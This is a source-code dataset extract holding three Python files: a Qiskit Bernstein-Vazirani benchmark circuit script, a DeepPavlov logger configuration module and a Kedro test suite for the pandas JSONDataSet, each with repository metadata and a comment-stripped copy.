hexsha
stringlengths
40
40
size
int64
2
1.02M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
245
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
245
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
245
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
2
1.02M
avg_line_length
float64
1
417k
max_line_length
int64
1
987k
alphanum_fraction
float64
0
1
content_no_comment
stringlengths
0
1.01M
is_comment_constant_removed
bool
1 class
is_sharp_comment_removed
bool
1 class
f73d55cb38d30f034e3f27152ae4c3c08c675921
5,214
py
Python
data/p3BR/R2/benchmark/startQiskit_noisy43.py
UCLA-SEAL/QDiff
d968cbc47fe926b7f88b4adf10490f1edd6f8819
[ "BSD-3-Clause" ]
null
null
null
data/p3BR/R2/benchmark/startQiskit_noisy43.py
UCLA-SEAL/QDiff
d968cbc47fe926b7f88b4adf10490f1edd6f8819
[ "BSD-3-Clause" ]
null
null
null
data/p3BR/R2/benchmark/startQiskit_noisy43.py
UCLA-SEAL/QDiff
d968cbc47fe926b7f88b4adf10490f1edd6f8819
[ "BSD-3-Clause" ]
null
null
null
# qubit number=3 # total number=7 import numpy as np from qiskit import QuantumCircuit, execute, Aer, QuantumRegister, ClassicalRegister, transpile, BasicAer, IBMQ from qiskit.visualization import plot_histogram from typing import * from pprint import pprint from math import log2 from collections import Counter from qiskit.test.mock import FakeVigo, FakeYorktown kernel = 'circuit/bernstein' def bitwise_xor(s: str, t: str) -> str: length = len(s) res = [] for i in range(length): res.append(str(int(s[i]) ^ int(t[i]))) return ''.join(res[::-1]) def bitwise_dot(s: str, t: str) -> str: length = len(s) res = 0 for i in range(length): res += int(s[i]) * int(t[i]) return str(res % 2) def build_oracle(n: int, f: Callable[[str], str]) -> QuantumCircuit: # implement the oracle O_f # NOTE: use multi_control_toffoli_gate ('noancilla' mode) # https://qiskit.org/documentation/_modules/qiskit/aqua/circuits/gates/multi_control_toffoli_gate.html # https://quantumcomputing.stackexchange.com/questions/3943/how-do-you-implement-the-toffoli-gate-using-only-single-qubit-and-cnot-gates # https://quantumcomputing.stackexchange.com/questions/2177/how-can-i-implement-an-n-bit-toffoli-gate controls = QuantumRegister(n, "ofc") target = QuantumRegister(1, "oft") oracle = QuantumCircuit(controls, target, name="Of") for i in range(2 ** n): rep = np.binary_repr(i, n) if f(rep) == "1": for j in range(n): if rep[j] == "0": oracle.x(controls[j]) oracle.mct(controls, target[0], None, mode='noancilla') for j in range(n): if rep[j] == "0": oracle.x(controls[j]) # oracle.barrier() # oracle.draw('mpl', filename=(kernel + '-oracle.png')) return oracle def build_circuit(n: int, f: Callable[[str], str]) -> QuantumCircuit: # implement the Bernstein-Vazirani circuit zero = np.binary_repr(0, n) b = f(zero) # initial n + 1 bits input_qubit = QuantumRegister(n+1, "qc") classicals = ClassicalRegister(n, "qm") prog = QuantumCircuit(input_qubit, classicals) # inverse last one (can be omitted if using O_f^\pm) prog.x(input_qubit[n]) # circuit begin prog.h(input_qubit[1]) # number=1 prog.x(input_qubit[2]) # number=2 prog.cx(input_qubit[2],input_qubit[1]) # number=4 prog.z(input_qubit[2]) # number=3 # apply H to get superposition for i in range(n): prog.h(input_qubit[i]) prog.h(input_qubit[n]) prog.barrier() # apply oracle O_f oracle = build_oracle(n, f) prog.append( oracle.to_gate(), [input_qubit[i] for i in range(n)] + [input_qubit[n]]) # apply H back (QFT on Z_2^n) for i in range(n): prog.h(input_qubit[i]) prog.barrier() # measure return prog def get_statevector(prog: QuantumCircuit) -> Any: state_backend = Aer.get_backend('statevector_simulator') statevec = execute(prog, state_backend).result() quantum_state = statevec.get_statevector() qubits = round(log2(len(quantum_state))) quantum_state = { "|" + np.binary_repr(i, qubits) + ">": quantum_state[i] for i in range(2 ** qubits) } return quantum_state def evaluate(backend_str: str, prog: QuantumCircuit, shots: int, b: str) -> Any: # Q: which backend should we use? # get state vector quantum_state = get_statevector(prog) # get simulate results # provider = IBMQ.load_account() # backend = provider.get_backend(backend_str) # qobj = compile(prog, backend, shots) # job = backend.run(qobj) # job.result() backend = Aer.get_backend(backend_str) # transpile/schedule -> assemble -> backend.run results = execute(prog, backend, shots=shots).result() counts = results.get_counts() a = Counter(counts).most_common(1)[0][0][::-1] return { "measurements": counts, # "state": statevec, "quantum_state": quantum_state, "a": a, "b": b } def bernstein_test_1(rep: str): """011 . x + 1""" a = "011" b = "1" return bitwise_xor(bitwise_dot(a, rep), b) def bernstein_test_2(rep: str): """000 . x + 0""" a = "000" b = "0" return bitwise_xor(bitwise_dot(a, rep), b) def bernstein_test_3(rep: str): """111 . x + 1""" a = "111" b = "1" return bitwise_xor(bitwise_dot(a, rep), b) if __name__ == "__main__": n = 2 a = "11" b = "1" f = lambda rep: \ bitwise_xor(bitwise_dot(a, rep), b) prog = build_circuit(n, f) sample_shot =4000 writefile = open("../data/startQiskit_noisy43.csv", "w") # prog.draw('mpl', filename=(kernel + '.png')) backend = FakeYorktown() circuit1 = transpile(prog, FakeYorktown()) circuit1.h(qubit=2) circuit1.x(qubit=3) circuit1.measure_all() info = execute(circuit1,backend=backend, shots=sample_shot).result().get_counts() print(info, file=writefile) print("results end", file=writefile) print(circuit1.depth(), file=writefile) print(circuit1, file=writefile) writefile.close()
28.648352
140
0.626774
import numpy as np from qiskit import QuantumCircuit, execute, Aer, QuantumRegister, ClassicalRegister, transpile, BasicAer, IBMQ from qiskit.visualization import plot_histogram from typing import * from pprint import pprint from math import log2 from collections import Counter from qiskit.test.mock import FakeVigo, FakeYorktown kernel = 'circuit/bernstein' def bitwise_xor(s: str, t: str) -> str: length = len(s) res = [] for i in range(length): res.append(str(int(s[i]) ^ int(t[i]))) return ''.join(res[::-1]) def bitwise_dot(s: str, t: str) -> str: length = len(s) res = 0 for i in range(length): res += int(s[i]) * int(t[i]) return str(res % 2) def build_oracle(n: int, f: Callable[[str], str]) -> QuantumCircuit: controls = QuantumRegister(n, "ofc") target = QuantumRegister(1, "oft") oracle = QuantumCircuit(controls, target, name="Of") for i in range(2 ** n): rep = np.binary_repr(i, n) if f(rep) == "1": for j in range(n): if rep[j] == "0": oracle.x(controls[j]) oracle.mct(controls, target[0], None, mode='noancilla') for j in range(n): if rep[j] == "0": oracle.x(controls[j]) return oracle def build_circuit(n: int, f: Callable[[str], str]) -> QuantumCircuit: zero = np.binary_repr(0, n) b = f(zero) input_qubit = QuantumRegister(n+1, "qc") classicals = ClassicalRegister(n, "qm") prog = QuantumCircuit(input_qubit, classicals) prog.x(input_qubit[n]) prog.h(input_qubit[1]) prog.x(input_qubit[2]) prog.cx(input_qubit[2],input_qubit[1]) prog.z(input_qubit[2]) for i in range(n): prog.h(input_qubit[i]) prog.h(input_qubit[n]) prog.barrier() oracle = build_oracle(n, f) prog.append( oracle.to_gate(), [input_qubit[i] for i in range(n)] + [input_qubit[n]]) for i in range(n): prog.h(input_qubit[i]) prog.barrier() return prog def get_statevector(prog: QuantumCircuit) -> Any: state_backend = Aer.get_backend('statevector_simulator') statevec = execute(prog, state_backend).result() quantum_state = statevec.get_statevector() qubits = round(log2(len(quantum_state))) quantum_state = { "|" + np.binary_repr(i, qubits) + ">": quantum_state[i] for i in range(2 ** qubits) } return quantum_state def evaluate(backend_str: str, prog: QuantumCircuit, shots: int, b: str) -> Any: quantum_state = get_statevector(prog) backend = Aer.get_backend(backend_str) results = execute(prog, backend, shots=shots).result() counts = results.get_counts() a = Counter(counts).most_common(1)[0][0][::-1] return { "measurements": counts, "quantum_state": quantum_state, "a": a, "b": b } def bernstein_test_1(rep: str): a = "011" b = "1" return bitwise_xor(bitwise_dot(a, rep), b) def bernstein_test_2(rep: str): a = "000" b = "0" return bitwise_xor(bitwise_dot(a, rep), b) def bernstein_test_3(rep: str): a = "111" b = "1" return bitwise_xor(bitwise_dot(a, rep), b) if __name__ == "__main__": n = 2 a = "11" b = "1" f = lambda rep: \ bitwise_xor(bitwise_dot(a, rep), b) prog = build_circuit(n, f) sample_shot =4000 writefile = open("../data/startQiskit_noisy43.csv", "w") backend = FakeYorktown() circuit1 = transpile(prog, FakeYorktown()) circuit1.h(qubit=2) circuit1.x(qubit=3) circuit1.measure_all() info = execute(circuit1,backend=backend, shots=sample_shot).result().get_counts() print(info, file=writefile) print("results end", file=writefile) print(circuit1.depth(), file=writefile) print(circuit1, file=writefile) writefile.close()
true
true
f73d56274bb5a4e9fa2a9fe2f5ce429d2af7de69
2,511
py
Python
deeppavlov/core/common/log.py
ineersa/DeepPavlov
8200bf9a0f0b378baad4ee0eb75b59453f516004
[ "Apache-2.0" ]
1
2019-05-22T08:34:33.000Z
2019-05-22T08:34:33.000Z
deeppavlov/core/common/log.py
ineersa/DeepPavlov
8200bf9a0f0b378baad4ee0eb75b59453f516004
[ "Apache-2.0" ]
null
null
null
deeppavlov/core/common/log.py
ineersa/DeepPavlov
8200bf9a0f0b378baad4ee0eb75b59453f516004
[ "Apache-2.0" ]
1
2019-03-17T13:47:44.000Z
2019-03-17T13:47:44.000Z
# Copyright 2017 Neural Networks and Deep Learning lab, MIPT # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import json import logging import logging.config import sys from pathlib import Path from .paths import get_settings_path LOG_CONFIG_FILENAME = 'log_config.json' TRACEBACK_LOGGER_ERRORS = True root_path = Path(__file__).resolve().parents[3] logging.getLogger('matplotlib').setLevel(logging.WARNING) def get_logger(logger_name): try: log_config_path = get_settings_path() / LOG_CONFIG_FILENAME with log_config_path.open(encoding='utf8') as log_config_json: log_config = json.load(log_config_json) configured_loggers = [log_config.get('root', {})] + log_config.get('loggers', []) used_handlers = {handler for log in configured_loggers for handler in log.get('handlers', [])} for handler_id, handler in list(log_config['handlers'].items()): if handler_id not in used_handlers: del log_config['handlers'][handler_id] elif 'filename' in handler.keys(): filename = handler['filename'] logfile_path = Path(filename).expanduser().resolve() handler['filename'] = str(logfile_path) logging.config.dictConfig(log_config) logger = logging.getLogger(logger_name) except Exception: logger = logging.getLogger(logger_name) logger.setLevel(logging.WARNING) formatter = logging.Formatter( '%(asctime)s.%(msecs)d %(levelname)s in \'%(name)s\'[\'%(module)s\'] at line %(lineno)d: %(message)s', '%Y-%m-%d %H:%M:%S') handler = logging.StreamHandler(sys.stderr) handler.setFormatter(formatter) handler.setLevel(logging.WARNING) logger.addHandler(handler) logger.error( 'LOGGER ERROR: Can not initialise {} logger, ' 'logging to the stderr. Error traceback:\n'.format(logger_name), exc_info=TRACEBACK_LOGGER_ERRORS) return logger
35.366197
114
0.683791
import json import logging import logging.config import sys from pathlib import Path from .paths import get_settings_path LOG_CONFIG_FILENAME = 'log_config.json' TRACEBACK_LOGGER_ERRORS = True root_path = Path(__file__).resolve().parents[3] logging.getLogger('matplotlib').setLevel(logging.WARNING) def get_logger(logger_name): try: log_config_path = get_settings_path() / LOG_CONFIG_FILENAME with log_config_path.open(encoding='utf8') as log_config_json: log_config = json.load(log_config_json) configured_loggers = [log_config.get('root', {})] + log_config.get('loggers', []) used_handlers = {handler for log in configured_loggers for handler in log.get('handlers', [])} for handler_id, handler in list(log_config['handlers'].items()): if handler_id not in used_handlers: del log_config['handlers'][handler_id] elif 'filename' in handler.keys(): filename = handler['filename'] logfile_path = Path(filename).expanduser().resolve() handler['filename'] = str(logfile_path) logging.config.dictConfig(log_config) logger = logging.getLogger(logger_name) except Exception: logger = logging.getLogger(logger_name) logger.setLevel(logging.WARNING) formatter = logging.Formatter( '%(asctime)s.%(msecs)d %(levelname)s in \'%(name)s\'[\'%(module)s\'] at line %(lineno)d: %(message)s', '%Y-%m-%d %H:%M:%S') handler = logging.StreamHandler(sys.stderr) handler.setFormatter(formatter) handler.setLevel(logging.WARNING) logger.addHandler(handler) logger.error( 'LOGGER ERROR: Can not initialise {} logger, ' 'logging to the stderr. Error traceback:\n'.format(logger_name), exc_info=TRACEBACK_LOGGER_ERRORS) return logger
true
true
f73d570245a9909b89474a189d06893daf585060
6,669
py
Python
python/IECoreMaya/StringVectorParameterUI.py
bradleyhenke/cortex
f8245cc6c9464b1de9e6c6e57068248198e63de0
[ "BSD-3-Clause" ]
386
2015-01-02T11:10:43.000Z
2022-03-10T15:12:20.000Z
python/IECoreMaya/StringVectorParameterUI.py
bradleyhenke/cortex
f8245cc6c9464b1de9e6c6e57068248198e63de0
[ "BSD-3-Clause" ]
484
2015-01-09T18:28:06.000Z
2022-03-31T16:02:04.000Z
python/IECoreMaya/StringVectorParameterUI.py
bradleyhenke/cortex
f8245cc6c9464b1de9e6c6e57068248198e63de0
[ "BSD-3-Clause" ]
99
2015-01-28T23:18:04.000Z
2022-03-27T00:59:39.000Z
########################################################################## # # Copyright (c) 2010, Image Engine Design Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # * Neither the name of Image Engine Design nor the names of any # other contributors to this software may be used to endorse or # promote products derived from this software without specific prior # written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS # IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # ########################################################################## import maya.cmds import IECore import IECoreMaya ## \todo: this is incredibly similar to NumericVectorParameterUI. Is it possible to generalize ## a ParameterUI for all *VectorParameters? class StringVectorParameterUI( IECoreMaya.ParameterUI ) : def __init__( self, node, parameter, **kw ) : topLevelUI = maya.cmds.columnLayout() IECoreMaya.ParameterUI.__init__( self, node, parameter, topLevelUI, **kw ) self.__column = maya.cmds.columnLayout( parent=topLevelUI ) row = maya.cmds.rowLayout( parent = topLevelUI, numberOfColumns = 2, columnAlign = ( 1, "right" ), columnWidth2 = [ IECoreMaya.ParameterUI.textColumnWidthIndex, IECoreMaya.ParameterUI.singleWidgetWidthIndex ] ) maya.cmds.text( parent = row, label = self.label(), font = "smallPlainLabelFont", align = "right", annotation = self.description() ) addButton = maya.cmds.button( parent=row, label='Add Item', command=self._createCallback( self.__addItem ) ) self.__fields = [] self.__attributeChangedCallbackId = IECoreMaya.CallbackId( maya.OpenMaya.MNodeMessage.addAttributeChangedCallback( self.node(), self.__attributeChanged ) ) self.replace( self.node(), self.parameter ) def replace( self, node, parameter ) : IECoreMaya.ParameterUI.replace( self, node, parameter ) # disabling copy/paste from the ParameterClipboardUI as the results will be misleading to users parameter.userData().update( StringVectorParameterUI.__disableCopyPaste ) vector = maya.cmds.getAttr( self.plugName() ) or [] # delete un-needed fields self.__fields = self.__fields[:len(vector)] rows = maya.cmds.columnLayout( self.__column, q=True, childArray=True ) or [] rowsToKeep = rows[:len(vector)] rowsToDelete = rows[len(vector):] for row in rowsToDelete : maya.cmds.deleteUI( row ) # create new fields for i in range( len(rowsToKeep), len(vector) ) : self.__createRow( self.label() + ": %d" % i ) self.__setUIFromPlug() def _topLevelUIDeleted( self ) : self.__attributeChangedCallbackId = None def __createRow( self, label ) : row = maya.cmds.rowLayout( parent = self.__column, numberOfColumns = 2, columnAlign2 = ( "right", "left" ), columnWidth2 = [ IECoreMaya.ParameterUI.textColumnWidthIndex, IECoreMaya.ParameterUI.singleWidgetWidthIndex ], ) ## \todo: there is a slight text misalignment if the window exists when __createRow is called maya.cmds.text( parent = row, label = label, font = "smallPlainLabelFont", align = "right", annotation = self.description(), width = IECoreMaya.ParameterUI.textColumnWidthIndex, ) self.__fields.append( maya.cmds.textField( parent = row, changeCommand = self._createCallback( self.__setPlugFromUI ), width = IECoreMaya.ParameterUI.singleWidgetWidthIndex, ) ) i = len(self.__fields) - 1 self._addPopupMenu( parentUI=self.__fields[i], index=i ) def _popupMenuDefinition( self, **kw ) : definition = IECore.MenuDefinition() definition.append( "/Remove Item", { "command" : self._createCallback( IECore.curry( self.__removeItem, index=kw['index'] ) ) } ) return definition def __addItem( self ) : vector = maya.cmds.getAttr( self.plugName() ) or [] vector.append( "" ) self.__setPlug( vector ) self.replace( self.node(), self.parameter ) def __removeItem( self, index ) : vector = maya.cmds.getAttr( self.plugName() ) or [] vector = vector[:index] + vector[index+1:] self.__setPlug( vector ) self.replace( self.node(), self.parameter ) def __attributeChanged( self, changeType, plug, otherPlug, userData ) : if not ( changeType & maya.OpenMaya.MNodeMessage.kAttributeSet ) : return try : myPlug = self.plug() except : # this situation can occur when our parameter has been removed but the # ui we represent is not quite yet dead return if not plug == myPlug : return self.replace( self.node(), self.parameter ) def __setUIFromPlug( self ) : vector = maya.cmds.getAttr( self.plugName() ) or [] for i in range( 0, len(vector) ) : maya.cmds.textField( self.__fields[i], e=True, text=vector[i] ) def __setPlugFromUI( self ) : vector = [] for field in self.__fields : vector.append( maya.cmds.textField( field, q=True, text=True ) ) self.__setPlug( vector ) def __setPlug( self, value ) : ## \todo: do this in python if maya ever fixes the nonsense required to call setAttr on a stringArray plugType = maya.cmds.getAttr( self.plugName(), type=True ) cmd = 'setAttr %s -type %s %d' % ( self.plugName(), plugType, len(value) ) for val in value : cmd += ' "%s"' % val maya.mel.eval( cmd ) __disableCopyPaste = IECore.CompoundObject( { "UI" : IECore.CompoundObject( { "copyPaste" : IECore.BoolData( False ), } ), } ) IECoreMaya.ParameterUI.registerUI( IECore.TypeId.StringVectorParameter, StringVectorParameterUI )
32.691176
131
0.700105
true
true
f73d573edbe874512d5985d6bd829910a52df6a0
1,000
py
Python
member/urls/events.py
manens/nadine
4938afa2d2c69ae5ac54f4360b081d10521a0a2f
[ "Apache-2.0" ]
null
null
null
member/urls/events.py
manens/nadine
4938afa2d2c69ae5ac54f4360b081d10521a0a2f
[ "Apache-2.0" ]
null
null
null
member/urls/events.py
manens/nadine
4938afa2d2c69ae5ac54f4360b081d10521a0a2f
[ "Apache-2.0" ]
null
null
null
from django.urls import path from member.views import events app_name = 'member' urlpatterns = [ path('events/', events.events_google, name='events'), path('booking/create/<username>/', events.create_booking, name='create_booking'), path('booking/confirm/<room>/<start>/<end>/<date>/<rate>/', events.confirm_booking, name='confirm_booking'), path('calendar/', events.calendar, name='calendar'), ] # Copyright 2019 Office Nomads LLC (http://www.officenomads.com/) Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
71.428571
583
0.76
from django.urls import path from member.views import events app_name = 'member' urlpatterns = [ path('events/', events.events_google, name='events'), path('booking/create/<username>/', events.create_booking, name='create_booking'), path('booking/confirm/<room>/<start>/<end>/<date>/<rate>/', events.confirm_booking, name='confirm_booking'), path('calendar/', events.calendar, name='calendar'), ]
true
true
f73d575a6baa97f373d0338832b8344759df6d4e
713
py
Python
sample/collect/service_imp/before_plugin/plugin/handler_req_count_param.py
SelfDown/omnis-collect
1b865e0070fa4e639a7b757f8443aafb4f94ac34
[ "MIT" ]
null
null
null
sample/collect/service_imp/before_plugin/plugin/handler_req_count_param.py
SelfDown/omnis-collect
1b865e0070fa4e639a7b757f8443aafb4f94ac34
[ "MIT" ]
null
null
null
sample/collect/service_imp/before_plugin/plugin/handler_req_count_param.py
SelfDown/omnis-collect
1b865e0070fa4e639a7b757f8443aafb4f94ac34
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ @Time: 2021/8/11 14:53 @Author: zzhang zzhang@cenboomh.com @File: extend_param.py @desc: """ from collect.service_imp.before_plugin.before_plugin import BeforePlugin class HandlerReqCountParam(BeforePlugin): def handler(self, params, template): params_result= self.get_params_result(template) # 设置统计参数 count_params_result = self.handler_req_count_params(params, params_result,template) if not self.is_success(count_params_result): return count_params_result count_params_result_data = self.get_data(count_params_result) self.set_count_params_result(count_params_result_data,template) return count_params_result
33.952381
91
0.744741
from collect.service_imp.before_plugin.before_plugin import BeforePlugin class HandlerReqCountParam(BeforePlugin): def handler(self, params, template): params_result= self.get_params_result(template) count_params_result = self.handler_req_count_params(params, params_result,template) if not self.is_success(count_params_result): return count_params_result count_params_result_data = self.get_data(count_params_result) self.set_count_params_result(count_params_result_data,template) return count_params_result
true
true
f73d58b03cbe5083c2599fd7be0c1cef3305098c
9,492
py
Python
tests/extras/datasets/pandas/test_json_dataset.py
Mu-L/kedro
a925fd59187a642e124527f0f1097e92ea8d1819
[ "Apache-2.0" ]
null
null
null
tests/extras/datasets/pandas/test_json_dataset.py
Mu-L/kedro
a925fd59187a642e124527f0f1097e92ea8d1819
[ "Apache-2.0" ]
null
null
null
tests/extras/datasets/pandas/test_json_dataset.py
Mu-L/kedro
a925fd59187a642e124527f0f1097e92ea8d1819
[ "Apache-2.0" ]
null
null
null
from pathlib import Path, PurePosixPath import pandas as pd import pytest from adlfs import AzureBlobFileSystem from fsspec.implementations.http import HTTPFileSystem from fsspec.implementations.local import LocalFileSystem from gcsfs import GCSFileSystem from pandas.testing import assert_frame_equal from s3fs.core import S3FileSystem from kedro.extras.datasets.pandas import JSONDataSet from kedro.io import DataSetError from kedro.io.core import PROTOCOL_DELIMITER, Version @pytest.fixture def filepath_json(tmp_path): return (tmp_path / "test.json").as_posix() @pytest.fixture def json_data_set(filepath_json, load_args, save_args, fs_args): return JSONDataSet( filepath=filepath_json, load_args=load_args, save_args=save_args, fs_args=fs_args, ) @pytest.fixture def versioned_json_data_set(filepath_json, load_version, save_version): return JSONDataSet( filepath=filepath_json, version=Version(load_version, save_version) ) @pytest.fixture def dummy_dataframe(): return pd.DataFrame({"col1": [1, 2], "col2": [4, 5], "col3": [5, 6]}) class TestJSONDataSet: def test_save_and_load(self, json_data_set, dummy_dataframe): """Test saving and reloading the data set.""" json_data_set.save(dummy_dataframe) reloaded = json_data_set.load() assert_frame_equal(dummy_dataframe, reloaded) def test_exists(self, json_data_set, dummy_dataframe): """Test `exists` method invocation for both existing and nonexistent data set.""" assert not json_data_set.exists() json_data_set.save(dummy_dataframe) assert json_data_set.exists() @pytest.mark.parametrize( "load_args", [{"k1": "v1", "index": "value"}], indirect=True ) def test_load_extra_params(self, json_data_set, load_args): """Test overriding the default load arguments.""" for key, value in load_args.items(): assert json_data_set._load_args[key] == value @pytest.mark.parametrize( "save_args", [{"k1": "v1", "index": "value"}], indirect=True ) def test_save_extra_params(self, json_data_set, save_args): """Test overriding the default save arguments.""" for key, value in save_args.items(): assert json_data_set._save_args[key] == value @pytest.mark.parametrize( "load_args,save_args", [ ({"storage_options": {"a": "b"}}, {}), ({}, {"storage_options": {"a": "b"}}), ({"storage_options": {"a": "b"}}, {"storage_options": {"x": "y"}}), ], ) def test_storage_options_dropped(self, load_args, save_args, caplog, tmp_path): filepath = str(tmp_path / "test.csv") ds = JSONDataSet(filepath=filepath, load_args=load_args, save_args=save_args) records = [r for r in caplog.records if r.levelname == "WARNING"] expected_log_message = ( f"Dropping 'storage_options' for {filepath}, " f"please specify them under 'fs_args' or 'credentials'." ) assert records[0].getMessage() == expected_log_message assert "storage_options" not in ds._save_args assert "storage_options" not in ds._load_args def test_load_missing_file(self, json_data_set): """Check the error when trying to load missing file.""" pattern = r"Failed while loading data from data set JSONDataSet\(.*\)" with pytest.raises(DataSetError, match=pattern): json_data_set.load() @pytest.mark.parametrize( "filepath,instance_type,credentials,load_path", [ ("s3://bucket/file.json", S3FileSystem, {}, "s3://bucket/file.json"), ("file:///tmp/test.json", LocalFileSystem, {}, "/tmp/test.json"), ("/tmp/test.json", LocalFileSystem, {}, "/tmp/test.json"), ("gcs://bucket/file.json", GCSFileSystem, {}, "gcs://bucket/file.json"), ( "https://example.com/file.json", HTTPFileSystem, {}, "https://example.com/file.json", ), ( "abfs://bucket/file.csv", AzureBlobFileSystem, {"account_name": "test", "account_key": "test"}, "abfs://bucket/file.csv", ), ], ) def test_protocol_usage( self, filepath, instance_type, credentials, load_path, mocker ): data_set = JSONDataSet(filepath=filepath, credentials=credentials) assert isinstance(data_set._fs, instance_type) path = filepath.split(PROTOCOL_DELIMITER, 1)[-1] assert str(data_set._filepath) == path assert isinstance(data_set._filepath, PurePosixPath) mock_pandas_call = mocker.patch("pandas.read_json") data_set.load() assert mock_pandas_call.call_count == 1 assert mock_pandas_call.call_args_list[0][0][0] == load_path def test_catalog_release(self, mocker): fs_mock = mocker.patch("fsspec.filesystem").return_value filepath = "test.json" data_set = JSONDataSet(filepath=filepath) data_set.release() fs_mock.invalidate_cache.assert_called_once_with(filepath) class TestJSONDataSetVersioned: def test_version_str_repr(self, load_version, save_version): """Test that version is in string representation of the class instance when applicable.""" filepath = "test.json" ds = JSONDataSet(filepath=filepath) ds_versioned = JSONDataSet( filepath=filepath, version=Version(load_version, save_version) ) assert filepath in str(ds) assert "version" not in str(ds) assert filepath in str(ds_versioned) ver_str = f"version=Version(load={load_version}, save='{save_version}')" assert ver_str in str(ds_versioned) assert "JSONDataSet" in str(ds_versioned) assert "JSONDataSet" in str(ds) assert "protocol" in str(ds_versioned) assert "protocol" in str(ds) def test_save_and_load(self, versioned_json_data_set, dummy_dataframe): """Test that saved and reloaded data matches the original one for the versioned data set.""" versioned_json_data_set.save(dummy_dataframe) reloaded_df = versioned_json_data_set.load() assert_frame_equal(dummy_dataframe, reloaded_df) def test_no_versions(self, versioned_json_data_set): """Check the error if no versions are available for load.""" pattern = r"Did not find any versions for JSONDataSet\(.+\)" with pytest.raises(DataSetError, match=pattern): versioned_json_data_set.load() def test_exists(self, versioned_json_data_set, dummy_dataframe): """Test `exists` method invocation for versioned data set.""" assert not versioned_json_data_set.exists() versioned_json_data_set.save(dummy_dataframe) assert versioned_json_data_set.exists() def test_prevent_overwrite(self, versioned_json_data_set, dummy_dataframe): """Check the error when attempting to override the data set if the corresponding hdf file for a given save version already exists.""" versioned_json_data_set.save(dummy_dataframe) pattern = ( r"Save path \'.+\' for JSONDataSet\(.+\) must " r"not exist if versioning is enabled\." ) with pytest.raises(DataSetError, match=pattern): versioned_json_data_set.save(dummy_dataframe) @pytest.mark.parametrize( "load_version", ["2019-01-01T23.59.59.999Z"], indirect=True ) @pytest.mark.parametrize( "save_version", ["2019-01-02T00.00.00.000Z"], indirect=True ) def test_save_version_warning( self, versioned_json_data_set, load_version, save_version, dummy_dataframe ): """Check the warning when saving to the path that differs from the subsequent load path.""" pattern = ( rf"Save version '{save_version}' did not match load version " rf"'{load_version}' for JSONDataSet\(.+\)" ) with pytest.warns(UserWarning, match=pattern): versioned_json_data_set.save(dummy_dataframe) def test_http_filesystem_no_versioning(self): pattern = r"HTTP\(s\) DataSet doesn't support versioning\." with pytest.raises(DataSetError, match=pattern): JSONDataSet( filepath="https://example.com/file.json", version=Version(None, None) ) def test_versioning_existing_dataset( self, json_data_set, versioned_json_data_set, dummy_dataframe ): """Check the error when attempting to save a versioned dataset on top of an already existing (non-versioned) dataset.""" json_data_set.save(dummy_dataframe) assert json_data_set.exists() assert json_data_set._filepath == versioned_json_data_set._filepath pattern = ( f"(?=.*file with the same name already exists in the directory)" f"(?=.*{versioned_json_data_set._filepath.parent.as_posix()})" ) with pytest.raises(DataSetError, match=pattern): versioned_json_data_set.save(dummy_dataframe) # Remove non-versioned dataset and try again Path(json_data_set._filepath.as_posix()).unlink() versioned_json_data_set.save(dummy_dataframe) assert versioned_json_data_set.exists()
39.22314
85
0.656869
